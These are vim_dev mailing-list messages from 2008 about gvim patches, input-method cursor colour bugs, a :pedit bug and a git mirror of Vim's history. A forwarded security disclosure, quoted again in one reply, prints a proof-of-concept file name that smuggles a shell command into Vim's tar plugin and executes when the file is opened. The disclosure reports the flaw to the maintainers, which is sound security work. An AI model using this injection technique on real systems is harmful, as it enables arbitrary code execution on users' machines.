I don't include patches without knowing the name of the author.  If you
are scared you can mail me directly.

About this part:

	 #ifdef _WIN32
		     int argc;
		     char *argv[] = {"gvim.exe"};
		     NtInitialize(&argc, (char***)&argv);
	 #endif

I think "argc" should be set to 1.  Typecasting should not be needed for
argv.  How about this instead:

	 #ifdef _WIN32
		     int argc = 1;
		     char *argv[] = {"gvim.exe"};
		     NtInitialize(&argc, &argv);
	 #endif


--
hundred-and-one symptoms of being an internet addict:
131. You challenge authority and society by portnuking people

  /// Bram Moolenaar -- Bram@... -- http://www.Moolenaar.net   \\\
///        sponsor Vim, vote for features -- http://www.Vim.org/sponsor/ \\\
\\\        download, build and distribute -- http://www.A-A-P.org        ///
  \\\            help me help AIDS victims -- http://ICCF-Holland.org    ///

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

SungHyun Nam wrote:

> I noticed the Cursor and CursorIM color is not displayed correctly in
> VIM 7.2a.
> VIM 7.1.xxx (Last xxx was 330) worked as expected.
>
> For the VIM 7.2a;
> 1. run gvim  -> 'Cursor' color
> 2. type 'i'  -> 'Cursor' color
> 3. type imak (s-space) -> 'CursorIM' color
>                            I can input Hangul..
> 4. type imak (s-space) again -> oops! 'CursorIM' color yet.. :-(
>                                  But, I can input English..
>                                  VIM 7.1 shows 'Cursor' color.
>
> Through 2 to 4 stage, command-line window(?) always shows '-- INSERT --'.
>
> And, now..
>
> 5. type ESC -> 'Cursor' color
> 6. type 'i' -> 'CursorIM' color, but I can input English.
>                 And now, command-line window shows '-- IM INSERT --'.
>
> Cursor color is important to distinguish current input language.
>
> I always build VIM from CVS and build options was not changed.
> And I tried to change the CFLAGS as:
>   s/-Os -march=i686 -fomit-frame-pointer -fno-strict-aliasing -pthread/-O0/g
> The result was same. The cygwin is very recent version (I updated a few
> weeks ago).

There is an "#if 0" in src/mbyte.c:

	 #if 0
	     /* Removal of this line suggested by Takuhiro Nishioka.  Fixes that IM was
	      * switched off unintentionally. */
	     im_is_active = FALSE;
	 #endif

Perhaps this change is what matters?

Looks like this is the usual mixup with using one flag for more than one
thing.  Perhaps we also need a "preedit_is_active" flag?

--
hundred-and-one symptoms of being an internet addict:
133. You communicate with people on other continents more than you
      do with your own neighbors.

  /// Bram Moolenaar -- Bram@... -- http://www.Moolenaar.net   \\\
///        sponsor Vim, vote for features -- http://www.Vim.org/sponsor/ \\\
\\\        download, build and distribute -- http://www.A-A-P.org        ///
  \\\            help me help AIDS victims -- http://ICCF-Holland.org    ///

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

Dominique Pelle wrote:

> Attached patch fixes incorrect cell computation
> introduced my previous patch "fix2-invalid-utf8-seq.patch"
> while still correcting the original bug (read overflow).
>
> I tested it, but please review it.
>
> I'm not too pleased about the hard-coded 4 cells
> for illegal utf-8 sequence, but attached patch minimizes
> changes.  More elegant perhaps would be to add a safe
> function utf_ptr2cells_len(p, maxlen) which guarantees
> to read no more than maxlen bytes.

Yes, the hard-coding is not that nice.  How about using this instead:

*** ../vim-7.2a.010/src/message.c Sun Jun 29 16:15:20 2008
--- src/message.c Mon Jun 30 22:50:32 2008
***************
*** 1390,1397 ****
  									 attr);
  		 plain_start = str + 1;
  		 msg_puts_attr(s, attr == 0 ? hl_attr(HLF_8) : attr);
  	     }
! 	    retval += char2cells(*str);
  	     ++str;
  	 }
       }
--- 1390,1399 ----
  									 attr);
  		 plain_start = str + 1;
  		 msg_puts_attr(s, attr == 0 ? hl_attr(HLF_8) : attr);
+ 	 retval += STRLEN(s);
  	     }
! 	    else
! 	 ++retval;
  	     ++str;
  	 }
       }

I'm wondering if STRLEN() is always right.  I can't think of a situation
where it's not.

--
Birthdays are healthy.  The more you have them, the longer you live.

  /// Bram Moolenaar -- Bram@... -- http://www.Moolenaar.net   \\\
///        sponsor Vim, vote for features -- http://www.Vim.org/sponsor/ \\\
\\\        download, build and distribute -- http://www.A-A-P.org        ///
  \\\            help me help AIDS victims -- http://ICCF-Holland.org    ///

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

Christian Michon wrote:

> On Mon, Jun 30, 2008 at 11:13 PM, Tony Mechelynck
> <antoine.mechelynck@...> wrote:
> > See http://vim.sourceforge.net/maillist.php#vim-dev under "Archive". I
> > don't know under what format the archives are held.
> >
>
> web based format, close to useless unless I write a clever awk script
> after I individually download each page individually.
>
> might be the case, since both yahoo groups and google groups do not
> allow such downloads.

Doesn't Google have a gdata interface for groups?

> Bram,
>
> is there any earlier post than year 2000 ? I seem unable to find
> earlier than this date...

Very probably, but Yahoo decided to delete old messages to save space
:-(.

--
hundred-and-one symptoms of being an internet addict:
136. You decide to stay in a low-paying job teaching just for the
      free Internet access.

  /// Bram Moolenaar -- Bram@... -- http://www.Moolenaar.net   \\\
///        sponsor Vim, vote for features -- http://www.Vim.org/sponsor/ \\\
\\\        download, build and distribute -- http://www.A-A-P.org        ///
  \\\            help me help AIDS victims -- http://ICCF-Holland.org    ///

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

Patch 7.2a.011
Problem:    The Edit/Startup Settings menu doesn't work.
Solution:   Expand environment variables. (Ben Schmidt)
Files:     runtime/menu.vim


*** ../vim-7.2a.010/runtime/menu.vim Wed Jun 25 21:51:59 2008
--- runtime/menu.vim Mon Jun 30 22:54:27 2008
***************
*** 2,8 ****
   " You can also use this as a start for your own set of menus.
   "
   " Maintainer: Bram Moolenaar <Bram@...>
! " Last Change: 2008 Jun 16

   " Note that ":an" (short for ":anoremenu") is often used to make a menu work
   " in all modes and avoid side effects from mappings defined by the user.
--- 2,8 ----
   " You can also use this as a start for your own set of menus.
   "
   " Maintainer: Bram Moolenaar <Bram@...>
! " Last Change: 2008 Jun 30

   " Note that ":an" (short for ":anoremenu") is often used to make a menu work
   " in all modes and avoid side effects from mappings defined by the user.
***************
*** 186,202 ****

   fun! s:EditVimrc()
     if $MYVIMRC != ''
!     let fname = "$MYVIMRC"
     elseif has("win32") || has("dos32") || has("dos16") || has("os2")
       if $HOME != ''
!       let fname = "$HOME/_vimrc"
       else
!       let fname = "$VIM/_vimrc"
       endif
     elseif has("amiga")
       let fname = "s:.vimrc"
     else
!     let fname = "$HOME/.vimrc"
     endif
     let fname = s:FnameEscape(fname)
     if &mod
--- 186,202 ----

   fun! s:EditVimrc()
     if $MYVIMRC != ''
!     let fname = $MYVIMRC
     elseif has("win32") || has("dos32") || has("dos16") || has("os2")
       if $HOME != ''
!       let fname = $HOME . "/_vimrc"
       else
!       let fname = $VIM . "/_vimrc"
       endif
     elseif has("amiga")
       let fname = "s:.vimrc"
     else
!     let fname = $HOME . "/.vimrc"
     endif
     let fname = s:FnameEscape(fname)
     if &mod
*** ../vim-7.2a.010/src/version.c Sun Jun 29 16:15:20 2008
--- src/version.c Tue Jul  1 21:55:12 2008
***************
*** 678,679 ****
--- 678,681 ----
   {   /* Add new patch number below this line */
+ /**/
+     11,
   /**/

--
hundred-and-one symptoms of being an internet addict:
137. You decide to stay in college for an additional year or two,
      just so you can have the free Internet access.

  /// Bram Moolenaar -- Bram@... -- http://www.Moolenaar.net   \\\
///        sponsor Vim, vote for features -- http://www.Vim.org/sponsor/ \\\
\\\        download, build and distribute -- http://www.A-A-P.org        ///
  \\\            help me help AIDS victims -- http://ICCF-Holland.org    ///

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

On 01-Jul-08 21:34, Bram Moolenaar wrote:
>
> Ingo Karkat wrote:
>
>> Hello VIM developers,
>>
>> I found a small bug in :pedit when one wants to clone the current
>> buffer to the preview window _and_ there is a :autocmd for the
>> 'BufReadPre' event; in that case, the cursor jumps to the first line
>> of the original window instead of remaining at the same position.
>> In my case, the bug manifests itself due to DrChip's 'LargeFile.vim'
>> plugin (vimscript#1506), which defines an ':au BufReadPre *'. I was
>> working on an elaborate mapping that included ':pedit %' and relied on
>> the cursor not moving.
>>
>> Steps to reproduce:
>>
>> gvim -N -u NONE
>> " Just open a file with a couple of lines and go to the end.
>> :e + $VIMRUNTIME/vimrc_example.vim
>> :echo line('.')
>> 94
>> :pedit %
>> :echo line('.')
>> 94
>> " Okay, still at the end.
>> :pclose
>> :au BufReadPre * let g:isExecuted = 1
>> :pedit %
>> " By now, the cursor has jumped to the first line in the original window;
>> " the same happens with :pedit, but not with :pedit <any other file>.
>> :echo line('.')
>> 1
>> " The help says the cursor position shouldn't change.
>> :help :pedit
>> [...] The current window and cursor position isn't changed.
>>
>> I can reproduce this with VIM 7.1 on Windows and with VIM 7.2a.10 (Big
>> version) on openSUSE 10.3/x86.
>
> I can reproduce it.  I'll add a remark to the todo list.

Thanks a lot.

>> PS: I rewrote my mapping to use bufnr() / :buffer to open the same
>> file in the preview window; but now I have to work around the fact
>> that there is no :popen command to open a blank preview window. Why is
>> that one missing?
>
> Why would you want to preview nothing?

I'm using the preview window as a kind of "Singleton" window: There's only one
(in a tab page), and I set up custom mappings to "push" various content to it;
for example, clone the current buffer to it. The disadvantage of :pedit (in
addition to the bug I reported) is that it warns "no write since last change",
or discards changed (:pedit!). So, I'm doing this instead:

      let l:bufnum = bufnr('')
      try
	 " If the preview window is open, just go there.
	 wincmd P
      catch /^Vim\%((\a\+)\)\=:E441/
	 " Else, temporarily open a dummy file. (There's no :popen command.)
	 silent pedit +setlocal\ buftype=nofile\ bufhidden=wipe\ nobuflisted\ noswapfile
[No\ Name]
	 wincmd P
      endtry
      " Load the current buffer in the preview window, if it's not already there.
      if bufnr('') != l:bufnum
	 silent execute l:bufnum . 'buffer'
      endif

Another use case for :popen I can think of is to display text that is not loaded
from an actual file, but auto-generated from a VIM script, using
'buftype=nofile' etc. Many plugins (like taglist, bufexplorer, ...) set up such
custom buffers, and implement this Singleton-ness by themselves, as they only
want one instance of the buffer displayed at any time. For plugins, that may be
okay; for my own personal mappings, I'd like to reuse the existing commands that
efficiently deal with (going to and from, closing, ...) the preview window.

-- regards, ingo

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

Looks like this didn't go through, so here it is again:


---------- Forwarded message ----------
From: Jan Minář <rdancer@...>
Date: Tue, Jul 1, 2008 at 8:36 PM
Subject: Re: Collection of Vulnerabilities in Fully Patched Vim 7.1
To: full-disclosure@..., bugtraq@...,
vim_dev@googlegroups.com, Bram Moolenaar <Bram@...>
Cc: bugs@...


On Sat, Jun 14, 2008 at 2:09 PM, Bram Moolenaar <Bram@...> wrote:
>
> Jan Minar wrote:
>
>> 1. Summary
>>
>> Product  : Vim -- Vi IMproved
>> Version  : Tested with 7.1.314 and 6.4
>> Impact   : Arbitrary code execution
>> Wherefrom: Local and remote
>> Original : http://www.rdancer.org/vulnerablevim.html
>>
>> Improper quoting in some parts of Vim written in the Vim Script can lead to
>> arbitrary code execution upon opening a crafted file.

> Note that version 7.1.314, as reported in the Summary, does not have
> most of the reported problems.  The problems in the plugins have also
> been fixed, this requires updating the runtime files.  Information about
> that can be found at http://www.vim.org/runtime.php

I do apologize: as written in the advisory, the version I worked with
was 7.1.298.  7.1.314 was only partly vulnerable.  FWIW, I have
updated the advisory at http://www.rdancer.orgvulnerablevim.html .

Thanks to Bram for all the good work.

7.2a.10 with updated runtime is still vulnerable to the zipplugin
attack, and an updated tarplugin attack:

-------------------------------------------
-------- Test results below ---------------
-------------------------------------------
filetype.vim
  strong  : EXPLOIT FAILED
  weak    : EXPLOIT FAILED
tarplugin : EXPLOIT FAILED
tarplugin.updated: VULNERABLE
zipplugin : VULNERABLE
xpm.vim
  xpm     : EXPLOIT FAILED
  xpm2    : EXPLOIT FAILED
  remote  : EXPLOIT FAILED
gzip_vim  : EXPLOIT FAILED
netrw     : EXPLOIT FAILED

The original tarplugin exploit now produces a string of telling error messages:

        /bin/bash: so%: command not found
        tar: /home/rdancer/vuln/vim/tarplugin/sploit/foo'|sosploit/foo:
Cannot open: No such file or directory
        tar: Error is not recoverable: exiting now
        /bin/bash: retu: command not found
        /bin/bash: bar.tar|retu|'bar.tar: command not found

It's easy to see that it is still possible to execute arbitrary shell commands.

$VIMRUNTIME/autoload/tar.vim of Vim 7.2a.10:

        136   if tarfile =~# '\.\(gz\|tgz\)$'
        137 "   call Decho("1: exe silent r! gzip -d -c
".s:Escape(tarfile)." | ".g:tar_cmd." -".g:tar_browseoptions." - ")
       *138    exe "silent r! gzip -d -c -- ".s:Escape(tarfile)." |
".g:tar_cmd." -".g:tar_browseoptions." - "
        139   elseif tarfile =~# '\.lrp'
        140 "   call Decho("2: exe silent r! cat --
".s:Escape(tarfile)."|gzip -d -c -|".g:tar_cmd."
-".g:tar_browseoptions." - ")
       *141    exe "silent r! cat -- ".s:Escape(tarfile)."|gzip -d -c
-|".g:tar_cmd." -".g:tar_browseoptions." - "
        142   elseif tarfile =~# '\.bz2$'
        143 "   call Decho("3: exe silent r! bzip2 -d -c
".s:Escape(tarfile)." | ".g:tar_cmd." -".g:tar_browseoptions." - ")
       *144    exe "silent r! bzip2 -d -c -- ".s:Escape(tarfile)." |
".g:tar_cmd." -".g:tar_browseoptions." - "
        145   else
        146 "   call Decho("4: exe silent r! ".g:tar_cmd."
-".g:tar_browseoptions." ".s:Escape(tarfile))
      **147    exe "silent r! ".g:tar_cmd." -".g:tar_browseoptions."
".s:Escape(tarfile)
        [...]
        444 fun s:Escape(name)
        445   " shellescape() was added by patch 7.0.111
        446   if exists("*shellescape")
        447    let qnameq= shellescape(a:name)
        448   else
        449    let qnameq= g:tar_shq . a:name . g:tar_shq
        450   endif
        451   return qnameq
        452 endfun

  (*) s:Escape() does not suffice, as it fails to escape ``%'' and friends.

(**) tar(1) allows arbitrary command execution via options ``--to-command'',
     and ``--use-compress-program''.


The updated tarplugin attack is rather simple:

        $ rm -rf ./*
        $ touch "foo%;eval eval \`echo 0:64617465203e2070776e6564 |
xxd -r\`;'bar.tar"
        $ vim +:q ./foo*
        $ ls -l pwned
        -rw-r--r-- 1 rdancer users 29 2008-07-01 20:18 pwned

Cheers,
Jan Minar.

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

Hi Bram, Developers,

it took a while, but it's finally available...

Test it, play with it: have fun with it!

It's at the following URL:

http://github.com/cmichon/vim

For "those who never used git", no worries:
- just use the web interface, you can grab tarballs of a specific
version/commit using the "download" button.
- you can also navigate using the "network" tab and slide through vim
history (each dot will give you a pop up with commit details).

For git users: you can clone it at:
git://github.com/cmichon/vim.git

I intend to update it accordingly in the future. If you notice
mistakes, I can fix them: let me know.
I already know the test22 file has issues (CTRL-M was not respected
actually: ignore this for now).

Keep in mind that:
- this is not upstream of course
- all commits are "from Bram" (I managed to keep ownership and dates)
- each release has its own branch (master=7.1)
- tags point to the pristine/official releases (the tags seem not to
work using the web interface ? to be confirmed)
- this will not include the betas, only pristine/official releases and
the usual set of patches from Bram
- I did not include the lang yet. This is mostly vim+extra, so
compilation on Windows should work too.

Here's the nice bits:
- Git users should be able to use this easily to rebase partially
bitrotted patches
- you can cherry pick features from 7.1 and backport them to 7.0 using git
- we should be able to maintain specific patches using branches
- you can virtually clone the whole history since September 2001

This was a fun experience!

Please share your comments too.

--
Christian
--
http://detaolb.sourceforge.net/, a linux distribution for Qemu with Git inside !

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

Hmm, it seems that current code was broken for japanese also.
I'll look into it later.

SungHyun Nam, What IM do you use?

Thanks.

On Wed, Jul 2, 2008 at 4:34 AM, Bram Moolenaar <Bram@...> wrote:
>
>
> SungHyun Nam wrote:
>
>> I noticed the Cursor and CursorIM color is not displayed correctly in
>> VIM 7.2a.
>> VIM 7.1.xxx (Last xxx was 330) worked as expected.
>>
>> For the VIM 7.2a;
>> 1. run gvim  -> 'Cursor' color
>> 2. type 'i'  -> 'Cursor' color
>> 3. type imak (s-space) -> 'CursorIM' color
>>                            I can input Hangul..
>> 4. type imak (s-space) again -> oops! 'CursorIM' color yet.. :-(
>>                                  But, I can input English..
>>                                  VIM 7.1 shows 'Cursor' color.
>>
>> Through 2 to 4 stage, command-line window(?) always shows '-- INSERT --'.
>>
>> And, now..
>>
>> 5. type ESC -> 'Cursor' color
>> 6. type 'i' -> 'CursorIM' color, but I can input English.
>>                 And now, command-line window shows '-- IM INSERT --'.
>>
>> Cursor color is important to distinguish current input language.
>>
>> I always build VIM from CVS and build options was not changed.
>> And I tried to change the CFLAGS as:
>>   s/-Os -march=i686 -fomit-frame-pointer -fno-strict-aliasing -pthread/-O0/g
>> The result was same. The cygwin is very recent version (I updated a few
>> weeks ago).
>
> There is an "#if 0" in src/mbyte.c:
>
>        #if 0
>            /* Removal of this line suggested by Takuhiro Nishioka.  Fixes that
IM was
>             * switched off unintentionally. */
>            im_is_active = FALSE;
>        #endif
>
> Perhaps this change is what matters?
>
> Looks like this is the usual mixup with using one flag for more than one
> thing.  Perhaps we also need a "preedit_is_active" flag?
>
> --
> hundred-and-one symptoms of being an internet addict:
> 133. You communicate with people on other continents more than you
>     do with your own neighbors.
>
>  /// Bram Moolenaar -- Bram@... -- http://www.Moolenaar.net   \\\
> ///        sponsor Vim, vote for features -- http://www.Vim.org/sponsor/ \\\
> \\\        download, build and distribute -- http://www.A-A-P.org        ///
>  \\\            help me help AIDS victims -- http://ICCF-Holland.org    ///
>
> >
>



--
- Yasuhiro Matsumoto

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

Bram Moolenaar wrote:
  > SungHyun Nam wrote:
  >
  >> I noticed the Cursor and CursorIM color is not displayed correctly in
  >> VIM 7.2a.
  >> VIM 7.1.xxx (Last xxx was 330) worked as expected.
  >>
  >> For the VIM 7.2a;
  >> 1. run gvim  -> 'Cursor' color
  >> 2. type 'i'  -> 'Cursor' color
  >> 3. type imak (s-space) -> 'CursorIM' color
  >>                            I can input Hangul..
  >> 4. type imak (s-space) again -> oops! 'CursorIM' color yet.. :-(
  >>                                  But, I can input English..
  >>                                  VIM 7.1 shows 'Cursor' color.
  >>
  >> Through 2 to 4 stage, command-line window(?) always shows '-- INSERT
--'.
  >>
  >> And, now..
  >>
  >> 5. type ESC -> 'Cursor' color
  >> 6. type 'i' -> 'CursorIM' color, but I can input English.
  >>                 And now, command-line window shows '-- IM INSERT --'.
  >>
  >> Cursor color is important to distinguish current input language.
  >>
  >> I always build VIM from CVS and build options was not changed.
  >> And I tried to change the CFLAGS as:
  >>   s/-Os -march=i686 -fomit-frame-pointer -fno-strict-aliasing
-pthread/-O0/g
  >> The result was same. The cygwin is very recent version (I updated a few
  >> weeks ago).
  >
  > There is an "#if 0" in src/mbyte.c:
  >
  >  #if 0
  > 	    /* Removal of this line suggested by Takuhiro Nishioka.  Fixes
that IM was
  > 	     * switched off unintentionally. */
  > 	    im_is_active = FALSE;
  >  #endif
  >
  > Perhaps this change is what matters?
  >
  > Looks like this is the usual mixup with using one flag for more than one
  > thing.  Perhaps we also need a "preedit_is_active" flag?

To me, the 'im_is_active' is never changed to FALSE after it is
set.  Then, why is this flag is needed?  Well, it does not need
for Korean, but need for Japanese?

If the '#if 0' change is good, then you might want to apply a
patch like below?
(With this patch, now command-line window displays 'INSERT' and
'IM INSERT' as I expected.)

Regards,
namsh

diff --git a/src/gui.c b/src/gui.c
index 09c3027..3505acf 100644
--- a/src/gui.c
+++ b/src/gui.c
@@ -958,7 +958,7 @@ gui_update_cursor(force, clear_selection)
  		 static int iid;
  		 guicolor_T fg, bg;

-  if (im_get_status())
+  if (preedit_get_status())
  		 {
  		     iid = syn_name2id((char_u *)"CursorIM");
  		     if (iid > 0)
diff --git a/src/gui_mac.c b/src/gui_mac.c
index 1ef5820..44f6511 100644
--- a/src/gui_mac.c
+++ b/src/gui_mac.c
@@ -6501,6 +6501,12 @@ im_get_status(void)
       return im_is_active;
   }

+    int
+preedit_get_status(void)
+{
+    return im_get_status();
+}
+
   #endif /* defined(USE_IM_CONTROL) || defined(PROTO) */


diff --git a/src/gui_w32.c b/src/gui_w32.c
index 9b77f7d..0bc80c1 100644
--- a/src/gui_w32.c
+++ b/src/gui_w32.c
@@ -2068,6 +2068,12 @@ im_get_status()
       return status;
   }

+    int
+preedit_get_status()
+{
+    return im_get_status();
+}
+
   #endif /* FEAT_MBYTE && FEAT_MBYTE_IME */

   #if defined(FEAT_MBYTE) && !defined(FEAT_MBYTE_IME) && defined(GLOBAL_IME)
diff --git a/src/hangulin.c b/src/hangulin.c
index 4ae16a1..02cb80b 100644
--- a/src/hangulin.c
+++ b/src/hangulin.c
@@ -427,6 +427,12 @@ im_get_status()
       return hangul_input_state_get();
   }

+    int
+preedit_get_status()
+{
+    return im_get_status();
+}
+
       void
   hangul_input_state_toggle()
   {
diff --git a/src/mbyte.c b/src/mbyte.c
index d6edf20..2ad925f 100644
--- a/src/mbyte.c
+++ b/src/mbyte.c
@@ -3454,6 +3454,7 @@ init_preedit_start_col(void)
   # if defined(HAVE_GTK2) && !defined(PROTO)

   static int im_is_active        = FALSE; /* IM is enabled for current
mode    */
+static int preedit_is_active   = FALSE;
   static int im_preedit_cursor   = 0; /* cursor offset in characters
     */
   static int im_preedit_trailing = 0; /* number of characters after
cursor */

@@ -3686,7 +3687,9 @@ im_preedit_start_cb(GtkIMContext *context,
gpointer data)
   #endif

       im_is_active = TRUE;
+    preedit_is_active = TRUE;
       gui_update_cursor(TRUE, FALSE);
+    im_show_info();
   }

   /*
@@ -3710,6 +3713,7 @@ im_preedit_end_cb(GtkIMContext *context, gpointer
data)
        * switched off unintentionally. */
       im_is_active = FALSE;
   #endif
+    preedit_is_active = FALSE;
       gui_update_cursor(TRUE, FALSE);
       im_show_info();
   }
@@ -3971,6 +3975,7 @@ im_shutdown(void)
  	 xic = NULL;
       }
       im_is_active = FALSE;
+    preedit_is_active = FALSE;
       im_commit_handler_id = 0;
       preedit_start_col = MAXCOL;
       xim_has_preediting = FALSE;
@@ -4283,6 +4288,12 @@ im_get_status(void)
       return im_is_active;
   }

+    int
+preedit_get_status(void)
+{
+    return preedit_is_active;
+}
+
   # else /* !HAVE_GTK2 */

   static int xim_is_active = FALSE;  /* XIM should be active in the current
@@ -5721,6 +5732,12 @@ im_get_status()
       return xim_has_focus;
   }

+    int
+preedit_get_status()
+{
+    return im_get_status();
+}
+
   # endif /* !HAVE_GTK2 */

   # if defined(FEAT_GUI_GTK) || defined(PROTO)
diff --git a/src/proto/gui_w32.pro b/src/proto/gui_w32.pro
index 3a47698..08386d3 100644
--- a/src/proto/gui_w32.pro
+++ b/src/proto/gui_w32.pro
@@ -71,6 +71,7 @@ void im_set_font __ARGS((LOGFONT *lf));
   void im_set_position __ARGS((int row, int col));
   void im_set_active __ARGS((int active));
   int im_get_status __ARGS((void));
+int preedit_get_status __ARGS((void));
   void gui_mch_draw_string __ARGS((int row, int col, char_u *text, int
len, int flags));
   void gui_mch_flush __ARGS((void));
   void gui_mch_get_screen_dimensions __ARGS((int *screen_w, int *screen_h));
diff --git a/src/proto/hangulin.pro b/src/proto/hangulin.pro
index adfde14..31778a1 100644
--- a/src/proto/hangulin.pro
+++ b/src/proto/hangulin.pro
@@ -2,6 +2,7 @@
   int hangul_input_state_get __ARGS((void));
   void hangul_input_state_set __ARGS((int state));
   int im_get_status __ARGS((void));
+int preedit_get_status __ARGS((void));
   void hangul_input_state_toggle __ARGS((void));
   void hangul_keyboard_set __ARGS((void));
   int hangul_input_process __ARGS((char_u *s, int len));
diff --git a/src/proto/mbyte.pro b/src/proto/mbyte.pro
index ef11dc7..cac9ba8 100644
--- a/src/proto/mbyte.pro
+++ b/src/proto/mbyte.pro
@@ -82,6 +82,7 @@ void xim_init __ARGS((void));
   void im_shutdown __ARGS((void));
   int xim_get_status_area_height __ARGS((void));
   int im_get_status __ARGS((void));
+int preedit_get_status __ARGS((void));
   int im_is_preediting __ARGS((void));
   int convert_setup __ARGS((vimconv_T *vcp, char_u *from, char_u *to));
   int convert_input __ARGS((char_u *ptr, int len, int maxlen));
diff --git a/src/screen.c b/src/screen.c
index 78dd277..0640f4b 100644
--- a/src/screen.c
+++ b/src/screen.c
@@ -8855,8 +8855,7 @@ showmode()
  	 {
  	     MSG_PUTS_ATTR("--", attr);
   #if defined(FEAT_XIM)
-     if (xic != NULL && im_get_status() && !p_imdisable
- 			 && curbuf->b_p_iminsert == B_IMODE_IM)
+     if (xic != NULL && preedit_get_status() && !p_imdisable)
   # ifdef HAVE_GTK2 /* most of the time, it's not XIM being used */
  		 MSG_PUTS_ATTR(" IM", attr);
   # else

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

On 02/07/08 02:26, Jan Minář wrote:
> Looks like this didn't go through, so here it is again:
[...]
> The updated tarplugin attack is rather simple:
>
>         $ rm -rf ./*
>         $ touch "foo%;eval eval \`echo 0:64617465203e2070776e6564 |
> xxd -r\`;'bar.tar"
>         $ vim +:q ./foo*
>         $ ls -l pwned
>         -rw-r--r-- 1 rdancer users 29 2008-07-01 20:18 pwned
>
> Cheers,
> Jan Minar.

I'm seeing this too. Looks like vulnerability to executing arbitrary
shell commands via a specially crafted "tarfile" (which can be
zero-length as here) with an unusual name. The maintainer of the suspect
script ($VIMRUNTIME/plugin/tarPlugin.vim and/or
$VIMRUNTIME/autoload/tar.vim) would be Dr.Chip; I think he's reading
these groups but I'm adding him as a Bcc just in case (Dr. Chip, sorry
if you got two copies of this post). FWIW, I'm using tarPlugin.vim v16
(date not mentioned) and tar.vim v16 (dated Jun 12, 2008) on gvim 7.2a.11

Best regards,
Tony.
--
Bureaucrat, n.:
	 A person who cuts red tape sideways.
		 -- J. McCabe

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

SungHyun Nam, more question.

what $LANG?
what $GTK_IM_MODULE?
what $XMODIFIERS

Thanks.

On Wed, Jul 2, 2008 at 10:28 AM, SungHyun Nam <namsh@...> wrote:
> mattn wrote:
>> Hmm, it seems that current code was broken for japanese also.
>> I'll look into it later.
>>
>> SungHyun Nam, What IM do you use?
>
> I use 'imhangul', GTK2 im module.
> (svn://kldp.net/svnroot/imhangul/imhangul/trunk)
>
> I used nabi(XIM) and imhangul(GTK2 im module) on Linux. But, I
> could not install nabi on cygwin. So that, I cannot test xim
> stuff (no linux box here. :-( ).
>
> Regards,
> namsh
>



--
- Yasuhiro Matsumoto

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---